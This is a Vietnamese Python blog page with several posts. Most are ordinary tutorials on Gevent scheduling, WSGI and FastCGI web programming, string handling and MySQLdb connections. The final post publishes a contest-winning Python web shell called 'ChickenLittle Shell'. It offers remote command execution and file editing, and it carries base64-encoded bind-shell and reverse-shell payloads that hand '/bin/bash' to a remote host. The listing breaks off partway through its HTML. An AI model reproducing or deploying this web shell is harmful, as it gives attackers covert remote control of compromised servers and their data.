Python cho người Việt

Python cho người Việt

Entries in the Category “Bài viết”

Lập lịch gọi hàm với Gevent

written by Nguyễn Thành Nam, on Aug 22, 2011 2:29:00 PM.

Đôi khi chúng ta cần một cách gì đó để lập lịch gọi hàm tương tự như công cụ cron trong các hệ Unix. Nếu chúng ta may mắn đang làm việc với Gevent sẵn rồi thì hai dòng sau là một cách đơn giản để lập lịch.

def schedule(delay, func, *args, **kw_args):
    gevent.spawn_later(0, func, *args, **kw_args)
    gevent.spawn_later(delay, schedule, delay, func, *args, **kw_args)

Ý tưởng đằng sau hai dòng lệnh này là chúng ta tận dụng sẵn vòng lặp sự kiện (event loop) của Gevent để cài hàm cần được thực thi vào. Do đó, chúng ta sẽ đỡ được việc sử dụng vòng lặp với sleep. Dòng thứ hai có tác dụng như một lệnh gọi đệ quy đuôi (tail recursion), nhưng không tốn bộ nhớ ngăn xếp (stack memory).

Trong trường hợp chúng ta không sử dụng Gevent thì gói apscheduler là một lựa chọn đáng tham khảo khác. Gói này cung cấp dịch vụ lập lịch tương tự như Quartz trong thế giới Java.

Lập trình web với Python (7)

written by Nguyễn Thành Nam, on Aug 11, 2011 3:00:00 PM.

Trong bài cuối của loạt bài Lập trình web với Python, chúng ta sẽ bàn đến chuẩn WSGI (Web Server Gateway Interface).

WSGI, khác với HTTP, CGI và FCGI, không phải là chuẩn giao thức liên lạc (communication protocol) mà là chuẩn giao tiếp (standard interface) giữa ứng dụng máy chủ (server) và các khung xương (framework) hay các ứng dụng web (web application). Hình tượng hóa mà nói, WSGI nằm phía trên HTTP/CGI/FCGI và phía dưới ứng dụng thật sự. Lớp WSGI giúp lớp ứng dụng trao đổi với lớp máy chủ theo một cách khả chuyển, tức là một ứng dụng WSGI có thể chạy như nhau trên máy chủ khác nhau như Apache, NGINX, hay Lighttpd, sử dụng các giao thức khác nhau như CGI, FCGI, SCGI, hay AJP. Nói một cách khác, WSGI "che" cách liên lạc qua mạng và tạo điều kiện cho ứng dụng web tập trung vào việc xử lý các vấn đề quan trọng hơn.

Một ứng dụng WSGI là một đối tượng gọi được (callable object). Một đối tượng gọi được có thể là một hàm, một phương thức, hoặc một đối tượng có hàm call. Đối tượng gọi được này phải nhận hai tham số là environstart_response. Tham số environ là một từ điển với các khóa theo chuẩn CGI và một số khóa đặc biệt mà máy chủ WSGI có thể truyền cho ứng dụng. start_response là một đối tượng gọi được do máy chủ WSGI cung cấp cho ứng dụng để ứng dụng bắt đầu việc truyền dữ liệu cho máy chủ WSGI. start_response nhận hai tham số là dòng trạng thái trả lời (status string) và một danh sách bộ-2 (list of 2-tuple) các đầu mục (header), mỗi bộ-2 bao gồm tên và giá trị của đầu mục. Giá trị trả về của ứng dụng WSGI là một bộ khả lặp (iterable) sinh ra nội dung sẽ được máy chủ WSGI truyền lại cho máy chủ HTTP hoặc trình duyệt.

Ví dụ:

def simple_app(environ, start_response):
    """Simplest possible application object"""
    status = '200 OK'
    response_headers = [('Content-type', 'text/plain')]
    start_response(status, response_headers)
    return ['Hello world!\n']

Đầu tiên, ta thiết lập chuỗi trạng thái là 200 OK, xác định đầu mục Content-typetext/plain rồi gọi start_response với các thông tin như vậy. Giá trị trả về là một danh sách với phần tử duy nhất là chuỗi Hello world!\n. Ta cũng có thể trả về chuỗi Hello world! trực tiếp mà không cần đặt nó vào trong một danh sách vì bản thân một chuỗi cũng là một đối tượng khả lặp. Tuy nhiên, làm như vậy không được khuyến khích vì khi đó máy chủ WSGI sẽ phải làm việc nhiều hơn, lặp qua từng ký tự H, e, l, l, o... thay vì lấy thẳng chuỗi trả lời.

Chúng ta sẽ viết lại ứng dụng đếm số lần truy cập như trong kỳ trước theo dạng một ứng dụng WSGI. Chúng ta sẽ tạo tập tin C:\Program Files\Apache Software Foundation\Apache2.2\fcgi-bin\hello2.py với nội dung như sau:

#!C:\Python26\python.exe
from flup.server import fcgi

class HelloApp(object):

	def __init__(self):
		self.count = 0

	def __call__(self, environ, start_response):
		self.count += 1
		start_response('200 OK', [('Content-type', 'text/plain')])
		return ['Hello WSGI World %d' % self.count]

if __name__ == "__main__":
	webapp = HelloApp()
	fcgi.WSGIServer(webapp, bindAddress=("localhost", 8888)).run()

Thực thi ứng dụng này với lệnh python hello2.py, chạy máy chủ Apache với các thiết lập đã làm trong bài viết kỳ trước, và truy cập vào địa chỉ http://localhost/fcgi-bin/hello.py thì chúng ta sẽ thấy hình như sau:

wsgi1.png

Khi làm tươi trình duyệt thì chúng ta nhận được hình sau:

wsgi2.png

So sánh ứng dụng viết theo WSGI và ứng dụng viết theo các giao thức CGI, hay FCGI ta thấy rõ rằng ứng dụng WSGI không cần quan tâm đến việc dữ liệu sẽ được truyền cho trình duyệt bằng cách nào. Ứng dụng WSGI chỉ quan tâm đến việc tạo ra dữ liệu gì và đẩy chỗ dữ liệu đó cho lớp WSGI bên dưới. Lớp này sẽ tự động thực hiện việc truyền tới trình duyệt theo cách tốt nhất có thể.

Tuy nhiên, ứng dụng WSGI cũng phải biết rõ cách hoạt động của máy chủ WSGI. Ví dụ, một ứng dụng WSGI chạy trên máy chủ WSGI theo mô hình CGI thì sẽ không thể trông chờ đến việc sử dụng lại biến toàn cục vì mỗi yêu cầu được một tiến trình riêng xử lý. Đồng thời ứng dụng WSGI cũng phải đảm bảo rằng các chuỗi trả về phải là chuỗi byte (byte string) và không được sử dụng chuỗi unicode (unicode string). Lý do là vì giao thức HTTP không hiểu unicode. Do đó, tốt nhất là ứng dụng WSGI nên gọi encode trên các chuỗi unicode để chuyển các chuỗi unicode thành các chuỗi byte trước khi đưa xuống cho máy chủ WSGI.

Một điểm hay của giao tiếp WSGI là một ứng dụng WSGI có thể gói (wrap) một ứng dụng WSGI khác bên trong. Điều này cho phép chúng ta tạo ra các ứng dụng WSGI hoạt động như các phần giữa (middleware), hoặc bộ lọc (filter).

Ví dụ:

def simple_app(environ, start_response):
    """Simplest possible application object"""
    status = '200 OK'
    response_headers = [('Content-type', 'text/plain')]
    start_response(status, response_headers)
    return ['Hello world!\n']

def real_app(environ, start_response):
    r = simple_app(environ, start_response)
    return ['Tag!\n'] + r

Với đoạn mã trên, ứng dụng real_app đã gói ứng dụng simple_app và chèn vào một chuỗi Tag!\n phía trước những gì mà simple_app gửi về. Đây là một cách để tạo nên các ứng dụng web lớn từ việc ghép các ứng dụng web nhỏ lại với nhau.

Chúng ta dừng loạt bài Lập trình web với Python tại đây. Sau 7 bài viết ngắn gọn (nhưng diễn ra trong một khoảng thời gian dài), chúng ta đã xem xét qua việc cài đặt Apache, và Python, rồi các giao thức nền tảng như HTTP, CGI. Từ đó, chúng ta bàn đến các giao thức hiện đại hơn, có một số ưu điểm tốt như FCGI với ví dụ đếm số lần truy cập. Cuối cùng chúng ta dừng lại với một thảo luận ngắn về giao tiếp WSGI, là giao tiếp phổ thông nhất để viết ứng dụng web trong thế giới Python.

Tôi hy vọng sẽ gặp bạn đọc trong các bài viết khác. Để thảo luận về loạt bài này, bạn có thể sử dụng diễn đàn http://vithon.org/forum/Forum/show/7/Ung_dung_mang_web.html.

Lập trình web với Python (6)

written by Nguyễn Thành Nam, on Jul 1, 2011 5:05:00 PM.

Phần trước chúng ta đã xem xét mô hình hoạt động của một ứng dụng FCGI. Trong phần này chúng ta sẽ viết thử một chương trình FCGI như đã đề cập.

Trước tiên, chúng ta sẽ cần cài đặt thư viện flup của tác giả Allan Saddi. Làm việc này khá đơn giản, chúng ta chỉ việc tải tập tin ez_setup.py từ địa chỉ http://peak.telecommunity.com/dist/ez_setup.py về một nơi nào đó trên máy, ví dụ như C:\Python26\Scripts. Sau đó chúng ta sẽ gọi lệnh ở màn hình DOS như sau:

C:\>c:\Python26\scripts\ez_setup.py flup

Gói flup sẽ được cài đặt trong C:\Python26\lib\site-packages.

Ở bước 2, chúng ta sẽ tải về tập tin http://www.fastcgi.com/dist/mod_fastcgi-2.4.6-AP22.dll, đổi tên nó thành mod_fastcgi.dll và đặt nó trong C:\Program Files\Apache Software Foundation\Apache2.2\modules.

Kế tiếp bước 3, chúng ta sẽ cần cấu hình Apache thành một FCGI client. Chúng ta cần sửa tập tin httpd.conf để thêm vào các dòng sau ở dưới cùng:

LoadModule fastcgi_module modules/mod_fastcgi.dll
Alias "/fcgi-bin/hello.py" "C:/Program Files/Apache Software Foundation/Apache2.2/fcgi-bin/hello.py"
<Directory "C:/Program Files/Apache Software Foundation/Apache2.2/fcgi-bin/">
    Order allow,deny
    Allow from all
</Directory>
FastCgiExternalServer "C:/Program Files/Apache Software Foundation/Apache2.2/fcgi-bin/hello.py" -host localhost:8888

Dòng LoadModule bảo Apache nạp mô-đun mod_fastcgi mà chúng ta vừa làm ở bước 2. Dòng Alias cho Apache biết rằng mọi yêu cầu đến đường dẫn (URI) /fcgi-bin/hello.py thật chất là đến tập tin C:/Program Files/Apache Software Foundation/Apache2.2/fcgi-bin/hello.py. Chúng ta cần dòng này bởi vì hello.py sẽ được tạo ở ngoài DocumentRoot. Cũng chính vì thư mục fcgi-bin không nằm trong DocumentRoot nên chúng ta cũng cần lệnh Directory để cho phép Apache phục những yêu cầu truy cập vào thư mục đó. Và cuối cùng lệnh FastCgiExternalServer bảo Apache rằng tập tin hello.py thật chất là một ứng dụng FCGI đã được chạy sẵn tại địa chỉ localhost ở cổng 8888. Chính câu lệnh này sẽ chuyển Apache thành một FCGI client, chuyển tiếp yêu cầu từ trình duyệt đến FCGI server do chúng ta phát triển. Vì chúng ta đang cài đặt trên Windows nên chúng ta chỉ có một lựa chọn là sử dụng FCGI theo chế độ trao đổi qua socket, do đó chúng ta phải dùng FastCgiExternalServer.

Bước 4 là tạo tập tin hello.py trong thư mục C:/Program Files/Apache Software Foundation/Apache2.2/fcgi-bin. Nếu chưa có thư mục này, bạn đọc hãy tự tạo ra nó. Tập tin hello.py sẽ có nội dung như sau:

#!C:\Python26\python.exe
from flup.server import fcgi

count = 0

class HelloApp(fcgi.WSGIServer):

	def handler(self, req):
		global count
		count += 1
		req.stdout.write('Content-Type: text/plain\n')
		req.stdout.write('\n')
		req.stdout.write('Hello World %d' % count)

if __name__ == "__main__":
	HelloApp(application=None, bindAddress=("localhost", 8888)).run()

Trước hết, chúng ta nhập mô-đun flup.server.fcgi. Kế tiếp chúng ta khai báo một biến đếm tên count với giá trị khởi tạo là 0. Sau đó chúng ta khai báo ứng dụng của chúng ta bằng cách định nghĩa lớp HelloApp kế thừa lớp WSGIServer trong mô-đun flup.server.fcgi. HelloApp sẽ định nghĩa lại hàm handler để xử lý các yêu cầu nhận được.

Hàm handler nhận vào một tham số đó là đối tượng req chứa thông tin về các biến môi trường, các dòng dữ liệu chuẩn như stdin, stdout. Chúng ta sẽ cộng một vào biến đếm toàn cục, và xuất giá trị này ra lại cho trình duyệt. Như một ứng dụng CGI (FCGI) thông thường, trước hết chúng ta cần phải xác định kiểu dữ liệu trả về thông qua Content-Type, theo sau bởi một dòng trống đánh dấu sự chấm dứt các đầu đề (header) và bắt đầu của nội dung, và cuối cùng là nội dung.

Hai dòng lệnh cuối chỉ đơn giản là chạy ứng dụng FCGI này ở địa chỉ localhost và cổng 8888.

Để kiểm tra, chúng ta sẽ cần thực hiện ba việc: chạy ứng dụng hello.py, chạy Apache, và dùng trình duyệt xem trang http://localhost/fcgi-bin/hello.py**. Để chạy ứng dụng hello.py chúng ta chỉ cần nhập lệnh sau ở màn hình DOS:

c:\Program Files\Apache Software Foundation\Apache2.2\fcgi-bin>python hello.py

Khi dùng trình duyệt vào xem trang web như trên thì chúng ta sẽ nhận được hình sau:

hello1.png

Nếu làm tươi trình duyệt thì chúng ta sẽ thấy giá trị đếm tăng lên:

hello2.png

Như vậy chứng tỏ rằng các yêu cầu đều được phục vụ bởi một tiến trình duy nhất. Đây chính là lợi điểm của FCGI so với CGI.

Trong bài sau, chúng ta sẽ xem xét cách phát triển ứng dụng web với WSGI.

Lập trình web với Python (5)

written by Nguyễn Thành Nam, on Mar 24, 2011 5:39:00 PM.

Bẵng một thời gian, chúng ta lại quay lại với loạt bài Lập trình web với Python. Trong kỳ này, chúng ta sẽ bàn đến mô hình FastCGI (FCGI).

Cái tên FCGI khiến người ta liên tưởng đến mô hình CGI như đã trình bày trong kỳ trước. Nhưng, thật tế là FCGI là một mô hình rất khác so với CGI.

Các ứng dụng FCGI là các ứng dụng bền, tức là một tiến trình FCGI có thể phục vụ nhiều yêu cầu chứ không phải chỉ một yêu cầu như ứng dụng CGI. Do đó, các ứng dụng FCGI có thể sử dụng các biến có phạm vi ứng dụng (application-scoped variable, tương đương với các biến toàn cục, global variable), tồn tại qua nhiều yêu cầu.

Xét ví dụ một chương trình web hiển thị số lần truy cập vào trang.

  • Với mô hình CGI, khi có yêu cầu gửi đến, máy chủ web (web server, httpd) sẽ tạo một tiến trình khác, chạy chương trình CGI, chương trình này khởi tạo biến đếm với giá trị 0, tăng nó lên 1, và hiển thị số 1 rồi tiến trình kết thúc. Khi có yêu cầu thứ hai đến, máy chủ lại tạo một tiến trình khác, chạy chương trình CGI, chương trình này khởi tạo biến đếm với giá trị 0, tăng nó lên 1, và hiển thị số 1, và kết thúc tiến trình. Như vậy, vì mỗi yêu cầu được một tiến trình riêng phục vụ nên chúng ta sẽ cần phải lưu biến đếm vào một tài nguyên ngoài (ví dụ như tập tin, hoặc cơ sở dữ liệu), và các tiến trình truy cập vào cùng tài nguyên này.
  • Với mô hình FCGI, một tiến trình FCGI sẽ được chạy trước. Chương trình này được gọi là một FCGI server. Chương trình này khởi tạo biến đếm với giá trị 0 và bước vào một vòng lập vô tận để nhận yêu cầu. Trình duyệt gửi yêu cầu đến máy chủ web. Khi này máy chủ web sẽ chuyển yêu cầu này đến ứng dụng FCGI đã được chạy trước đó. Như vậy, máy chủ web đóng vai trò là một FCGI client. Ở phía FCGI server, yêu cầu được chấp nhận (accept), biến đếm được tăng lên thành 1, kết quả trả về lại cho httpd, và FCGI server quay lại vòng lập nhận yêu cầu. Máy chủ web trả lại kết quả cho trình duyệt. Khi có yêu cầu kế tiếp, máy chủ httpd lại chuyển yêu cầu đó cho cùng FCGI server. Yêu cầu này được chấp nhận, biến đếm được tăng thành 2 vì đang trong cùng một tiến trình, kết quả trả về lại cho httpd và tiếp tục như đã bàn.

Vì mô hình hoạt động của FCGI khác với CGI nên việc trao đổi giữa FCGI client và FCGI server (giữa httpd và ứng dụng FCGI) không thể sử dụng cùng một giao thức đơn giản như ứng dụng CGI nữa. Việc này đòi hỏi một giao thức riêng cho FCGI.

Mô hình hoạt động đơn giản của FCGI được miêu tả trong hình dưới.

/static/web-programming/fcgi/overview_lifecycle.png

Ngoài lợi ích về tốc độ (do không phải tạo tiến trình mới để phục vụ mỗi yêu cầu, và khả năng chia sẻ tài nguyên thông qua biến có phạm vi ứng dụng), các ứng dụng FCGI còn có thể được triển khai trên hệ thống khác với hệ thống máy chủ web, giúp cho việc phân bổ tài nguyên giữa httpd và FCGI server được hiệu quả hơn. FCGI hỗ trợ hai cách giao tiếp là thông qua stream pipe, và thông qua socket. Cách giao tiếp stream pipe tương tự như việc gửi và nhận dữ liệu qua stdin, và stdout. Cách giao tiếp này được sử dụng cho các ứng dụng FCGI triển khai trên cùng hệ thống với httpd. Cách giao tiếp socket sử dụng một kết nối TCP để đóng gói và gửi dữ liệu của env-vars, stdin, stdout, và stderr tới ứng dụng FCGI. Điều này cho phép ứng dụng FCGI được triển khai trên một hệ thống khác, và httpd sẽ liên lạc với ứng dụng này dựa vào kết nối mạng TCP. Do đó, việc tối ưu tài nguyên hệ thống có thể được thực hiện dễ dàng hơn so với ứng dụng CGI. Đối với ứng dụng FCGI, FCGI server có thể được chạy trong chế độ đa tiến trình, hoặc đa tiểu trình đều được. FCGI server có thể được chạy trên một máy 8 lõi, trong khi httpd chạy trên một máy khác đơn nhân. FCGI server phục vụ các dữ liệu động, trong khi httpd phục vụ các dữ liệu tĩnh như hình ảnh, trang web tĩnh.

Chúng ta vừa xem qua mô hình hoạt động của FCGI. Đi sâu hơn vào cấu trúc từng ứng dụng FCGI thì dúng ta có ba phần chính sau:

  • Mã khởi tạo
  • Vòng lặp nhận yêu cầu
  • Xử lý yêu cầu và trả kết quả

Trong ví dụ về ứng dụng hiển thị số lượt truy cập, mã khởi tạo là việc khởi tạo biến đếm toàn cụ với giá trị 0.

Vòng lặp nhận yêu cầu thường là một vòng lặp vô hạn, tương tự như:

while True:
    fcgi_accept()
    # xử lý yêu cầu như CGI

Trong khi yêu cầu được chấp nhận, thì dữ liệu nhập cũng được tách ra thành env-vars, stdin, stdout, và stderr. Điều này khiến cho việc xử lý yêu cầu của một ứng dụng FCGI không khác bao nhiêu so với việc xử lý của một ứng dụng CGI. Tất cả đều được thực hiện trên các biến môi trường, và các luồng chuẩn. Điều khác biệt đó là sau khi xử lý xong yêu cầu thì ứng dụng FCGI lại quay lại vòng lặp nhận yêu cầu mà không chấm dứt tiến trình như một ứng dụng CGI.

Vì không phải chấm dứt tiến trình sau mỗi yêu cầu nên các tiến trình FCGI có thể được “sử dụng lại”. Một ứng dụng FCGI có thể được khởi tạo trước, với 10 tiến trình chẳng hạn, và đặt trong một bể (pool) tiến trình sẵn sàng. Khi có yêu cầu đến, thì máy chủ web có thể ngay lập tức lấy ra một tiến trình từ bể này, và gửi thông tin đến nó. Khi kết thúc xử lý yêu cầu, máy chủ web lại đưa tiến trình này vào bể. Việc khởi tạo trước tiết kiệm được thời gian khởi tạo ban đầu, nhưng sẽ chiếm bộ nhớ, ngay cả khi chưa có yêu cầu nào được nhận.

Sau đây là mô hình chi tiết của một ứng dụng FCGI.

/static/web-programming/fcgi/detailed_lifecycle.png

Hẹn gặp các bạn vào bài tới. Chúng ta sẽ viết thử một ứng dụng FCGI đơn giản với mô-đun fcgi của Allan Saddi.

Làm việc với String (Python 3)

written by vithon, on Feb 9, 2011 11:46:00 AM.

So sánh cơ bản:

>>> A="caulacbopython"
>>> B="pythonviet"
>>> print(A==B)
False
>>> print(A>B)
False
>>> print(A<B)
True

Ghép chuỗi:

>>> A="Yeu"
>>> B="Python"
>>> A+B
'YeuPython'

Split: Hiểu nôm na, ta có một cái chuỗi dài. Giờ ta sẽ cắt nó thành nhiều khúc dài dài và sử dụng khúc nào đó thì tùy:

>>> A="Cau-Lac-Bo-Python-Viet"
>>> B=A.split('-')
>>> B
['Cau', 'Lac', 'Bo', 'Python', 'Viet']
>>> B[0]
'Cau'
>>> B[1]
'Lac'
>>> B[2]
'Bo'

Lấy 1 ký tự bất kì:

>>> chuoi= "NguyenMinhThe"
>>> print(chuoi[2])
u
>>> print(chuoi[1])
g

Thay thế (Replace):

>>> chuoi="MinhThe"
>>> print(chuoi.replace('h','H'))
>>> 'MinHTHe'

Đếm số lần xuất hiện ký tự trong 1 chuỗi:

>>> ch="VithonViet"
>>> print(ch.count('V'))
2

Trích từ bài gửi diễn đàn của Nguyễn Minh Thế.

MySQLdb - Thiết lập kết nối

written by Phạm Thị Minh Hoài, on May 31, 2010 11:55:00 PM.

MySQLdb là một wrapper của thư viện MySQL C API: _mysql. Nó cho phép bạn viết các ứng dụng python khả chuyển (portable) chạy trên nhiều môi trường khác nhau để truy cập vào máy chủ có hệ quản trị CSDL mysql.

Bài viết sau đây đề cập một số khía cạnh liên quan tới thiết lập kết nối CSDL. Đó là vấn đề quan trọng đầu tiên khi làm việc với bất kỳ hệ quản trị CSDL nào.

Bản cài đặt MySQLdb có thể download trên trang: http://sourceforge.net/projects/mysql-python/. Download có sẵn cho các nền tảng windows 32 bit và các họ unix. Đáng tiếc là MySQLdb hiện chỉ sử dụng cho các phiên bản python từ 2.3 đến 2.6.

Hello World

Giả thiết trên máy của bạn đã cái mysql với cổng mặc định (3306) và account root không cần password. Đoạn chương trình sau minh họa một kết nối đơn giản nhất có thể. Nó in ra các db có trong CSDL này:

>>> db = MySQLdb.connect(user="root")
>>> cursor = db.cursor()
>>> query = "SHOW DATABASES"
>>> cursor.execute(query)
6L
>>> cursor.fetchall()
(('information_schema',), ('cdcol',), ('mysql',), ('phpmyadmin',), ('test',))

Kết nối theo IP

Truy cập từ xa đến một hệ thống phức tạp hơn, bạn cần biết các tham số:

  • Máy chủ chứa mysql (mặc định: localhost hay 127.0.0.1)
  • Cổng truy cập vào mysql (mặc định: 3306)
  • User, Password mà bạn được cấp
  • Tên CSDL bạn muốn truy cập

Ví dụ sau in ra các bảng của CSDL mydb trên máy 192.168.90.31 với cổng 3310:

>>> db = MySQLdb.connect(user="you", db="mydb", passwd="mypw", \
        host="192.168.90.31", port=3310)
>>> cursor = db.cursor()
>>> query = "SHOW TABLES"
>>> cursor.execute(query)
>>> cursor.fetchall()

Kết nối theo socket

Trên các localhost cho phép dùng socket bạn có thể viết:

db = MySQLdb.connect(db="test", user="hoaiptm", passwd="hoaiptm", \
    unix_socket="/opt/hoaiptm/mysql/mysql.sock")

Truy cập mysql qua các socket trên unix tương tự như named pipe trên windows. Nó cho phép các ứng dựng localhost tạo các kết nối cực kỳ nhanh đến CSDL. Nếu bạn chưa hiểu rõ về socket bạn có thể đọc: http://beej.us/guide/bgipc/output/html/multipage/unixsock.html.

Giấu password

Các ví dụ trên đây đều yêu cầu phải có password đặt trong mã nguồn python. MySQLdb cho phép bạn giấu chúng trong một nơi mà chỉ bạn được phép truy cập:

db = MySQLdb.connect(db="yourdb", read_default_file="/home/hoaiptm/mysql.ini")

tập tin options: /home/hoaiptm/mysql.ini có thể có nội dung như sau:

[client]
port=3310
socket=/opt/hoaiptm/mysql/mysql.sock
user=hoaiptm
password=hoaiptm

Hướng dẫn về các option này có thể đọc trong tài liệu: http://www.yellis.net/docs/mysql/manuel_Option_files.html#Option_files

Thay đổi charset mặc định

Các kết nối trong các ví dụ trên sử dụng charset mặt định là latin1, do đó bạn không lấy được các dữ liệu tiếng Việt. Chẳng hạn bạn tạo một bảng user với chartset utf8 trong CSDL test như sau:

USE `test`;
CREATE TABLE `user` (
  `Id` int(11) NOT NULL AUTO_INCREMENT,
  `account` varchar(50) DEFAULT NULL,
  `fullname` varchar(255) DEFAULT NULL,
  PRIMARY KEY (`Id`)
) ENGINE=MyISAM AUTO_INCREMENT=3 **DEFAULT CHARSET=utf8** ROW_FORMAT=DYNAMIC;
INSERT INTO `user` VALUES (1,'hoaiptm','Phạm Thị Minh Hoài');
INSERT INTO `user` VALUES (2,'trangnt','Ngô Thu Trang');

Sau đó cố gắng lấy dữ liệu từ bảng user:

>>> db = MySQLdb.connect(user="hoaiptm", db="test", passwd="hoaiptm", port=3310)
>>> cursor = db.cursor()
>>> query = "SELECT fullname FROM user"
>>> cursor.execute(query)
2L
>>> cursor.fetchall()
(('Ph?m Th? Minh Ho\xe0i',), ('Ng\xf4 Thu Trang',))

Các dấu ? cho thấy các ký tự utf8 đã không được truyền tải đúng. Để giải quyết vấn đề này chúng ta thêm tùy chọn charset = “utf8” trong connection:

>>> db = MySQLdb.connect(user="hoaiptm", db="test", passwd="hoaiptm", \
    port=3310, charset="utf8")
...
>>> cursor.fetchall()
((u'Ph\u1ea1m Th\u1ecb Minh Ho\xe0i',), (u'Ng\xf4 Thu Trang',))

Lúc này tất cả các dữ liệu trong trường text, char, varchar đều được trả về dạng unicode.

Yêu cầu trả về từ điển

MySQLdb cho phép trả về các kết quả dạng từ điển, để làm được điều đó bạn thêm tùy chọn cursorclass=MySQLdb.cursors.DictCursor. Ví dụ:

>>> db = MySQLdb.connect(user="hoaiptm", db="test", passwd="hoaiptm", port=3310, \
    charset="utf8", cursorclass=MySQLdb.cursors.DictCursor)
>>> cursor = db.cursor()
>>> query = "select * from user"
>>> cursor.execute(query)
2L
>>> cursor.fetchall()
({'account': u'hoaiptm', 'fullname': u'Ph\u1ea1m Th\u1ecb Minh Ho\xe0i', 'Id': 1L}, \
 {'account': u'trangnt', 'fullname': u'Ng\xf4 Thu Trang', 'Id': 2L})

Chương trình sẽ chạy chậm đi chút xíu, nhưng bù lại kết quả trả về rất dễ sử dụng.

Hoaiptm

ChickenLittle Shell

written by vithon, on May 19, 2010 1:41:00 PM.

Nhân dịp kỷ niệm 120 năm ngày sinh lãnh tụ Hồ Chí Minh, nhóm PCNV xin gửi đến bạn đọc bài dự thi đạt giải nhất cuộc thi Web Shell Programming Contest kết thúc vào ngày 15 tháng 05 vừa qua.

#!/usr/bin/python
"""
ChickenLittle Shell by Zep
"""

try:
    import cgitb; cgitb.enable()
except:
    pass
import sys, cgi, os, base64, subprocess
from time import strftime
from string import Template

bind_port = """aW1wb3J0IG9zLCBzeXMsIHNvY2tldCwgdGltZQpQT1JUID0gaW50KHN5cy5hcmd2WzFdKQpQVyA9
IHN5cy5hcmd2WzJdCnNvY2sgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5T
T0NLX1NUUkVBTSkKc29jay5iaW5kKCgiMC4wLjAuMCIsUE9SVCkpCnNvY2subGlzdGVuKDUpClNI
RUxMPSIvYmluL2Jhc2ggLWkiCndoaWxlIFRydWU6CiAgICB0cnk6CQogICAgICAgIChjb25uLGFk
ZHIpID0gc29jay5hY2NlcHQoKQogICAgICAgIG9zLmR1cDIoY29ubi5maWxlbm8oKSwwKQogICAg
ICAgIG9zLmR1cDIoY29ubi5maWxlbm8oKSwxKQogICAgICAgIG9zLmR1cDIoY29ubi5maWxlbm8o
KSwyKQogICAgICAgIHByaW50ID4+IHN5cy5zdGRlcnIsICdQYXNzd29yZDogJywKICAgICAgICBw
ID0gY29ubi5yZWN2KDEwMjQpCiAgICAgICAgcCA9IHAuc3RyaXAoKQogICAgICAgIGlmIHAgPT0g
UFc6CiAgICAgICAgICAgIG9zLnN5c3RlbSgiL2Jpbi9iYXNoIC1pIikKICAgICAgICBlbHNlOgog
ICAgICAgICAgICBwcmludCA+PiBzeXMuc3RkZXJyLCAiR28gdG8gaGVsbCIKICAgICAgICBjb25u
LmNsb3NlKCkKICAgIGV4Y2VwdCBFeGNlcHRpb24sZTogIAogICAgICAgIHByaW50IGUKICAgICAg
ICB0aW1lLnNsZWVwKDEpCg=="""

back_connect = """aW1wb3J0IHNvY2tldCwgb3MsIHN5cwpIT1NUID0gc3lzLmFyZ3ZbMV0KUE9SVCA9IGludChzeXMu
YXJndlsyXSkKU0hFTEwgPSAiL2Jpbi9iYXNoIC1pIgpzb2NrID0gc29ja2V0LnNvY2tldChzb2Nr
ZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pCnNvY2suY29ubmVjdCgoSE9TVCxQT1JUKSkK
dHJ5OgogICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAwKQogICAgb3MuZHVwMihzb2NrLmZpbGVu
bygpLCAxKQogICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAyKQogICAgb3Muc3lzdGVtKFNIRUxM
KQpleGNlcHQgRXhjZXB0aW9uLGU6CiAgICBwcmludCBlCnNvY2suY2xvc2UoKQo="""

# HTML

html = Template("""
<html>
<head>
    <title>ChickenLittle Shell</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> 
    <style>
        body {
            color:#fff;
            background-color:#585858;
            font-size:11px;
        }
        table {
            font-family: Verdana, Tahoma;
            font-size:11px;
        }
        tr {
            border: #D9D9D9 1px solid;
        }
        td {
            border: #D9D9D9 1px solid;
        }
        a { 
            color: #fff;
        }
        input {
            background-color:#800000;
            color:#FFFFFF;
            font-family:Tahoma;
            font-size:8pt;
        }
        select {
            background-color:#800000;
            color:#FFFFFF;
            font-family:Tahoma;
            font-size:8pt;
        }
        textarea {
            background-color:#800000;
            color:#FFFFFF;
            font-family:Tahoma;
            font-size:8pt;
        }
    </style>
</head>
<body>
    <script type="text/javascript">
        function toggleEnviron()
        {
            if (document.getElementById('environ_table').style.display=="none")
                document.getElementById('environ_table').style.display="";
            else
                document.getElementById('environ_table').style.display="none";
        }
    </script>
    <center><h2>=== ChickenLittle Shell ===</h2></center>
    <a href="javascript:void(0)" onclick="javascript:toggleEnviron()">Show/Hide Environment variables</a>
    $environ_table
    <p />
    <table width="100%">
        <tr><td>
            uname -a: $uname <br />
            $uid
        </td></tr>
    </table>
    <p />
    <div style="display:$edit_file_box_visibility">
        <b>Edit File:</b> <br />
        <form method="POST" action="?">
            <textarea name="file_content" cols="200" rows="30" >$file_content</textarea>
            <input type="hidden" value="$cur_dir" size="50" name="cur_dir" /> <br />
            <input type="hidden" value="save_file" size="50" name="command" /> <br />
            <input type="hidden" value="$file_name" size="50" name="file_name" /> <br />
            <input type="submit" value="Save">       
        </form>
        <p />
    </div>
    <table width="100%">
        <tr>    
            <td style="text-align:center">
                <b>:: Change Dir ::</b><br />
                <form action="?" method="POST">
                    <input type="text" value="$cur_dir" size="50" name="cur_dir">&nbsp;<input type="submit" value="Go">
                </form>
            </td>
            <td style="text-align:center">
                <b>:: Get File ::</b><br />
                <form action="?" method="POST">
                    <input type="text" value="$cur_dir" size="50" name="cur_dir">&nbsp;<input type="submit" value="Go">
                </form>
            </td>
        </tr>
    </table>
    <p />
    <table width="100%">
        <tr>
            <td colspan="2" style="text-align:center"><b>$cur_dir</b></td>
        </tr>
        <tr>
            <td><pre>$list_files</pre></td>
        </tr>
    </table>
    <p />
    <b>Result of command</b><br />
    <table width="100%">
        <tr>
            <td>
                <textarea cols="200" rows="10">$command_result</textarea>
            </td>
        </tr>
    </table>
    <table width="100%">
        <tr>    
            <td style="text-align:center" width="50%">
                <b>:: Execute Command ::</b><br />
                <form action="?" method="POST">
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir" />
                    <input type="text" value="" size="50" name="command">&nbsp;<input type="submit" value="Execute">
                </form>
            </td>
            <td style="text-align:center">
                <b>:: Useful Commands ::</b><br />
                <form action="?" method="POST">
                    <select name="command">
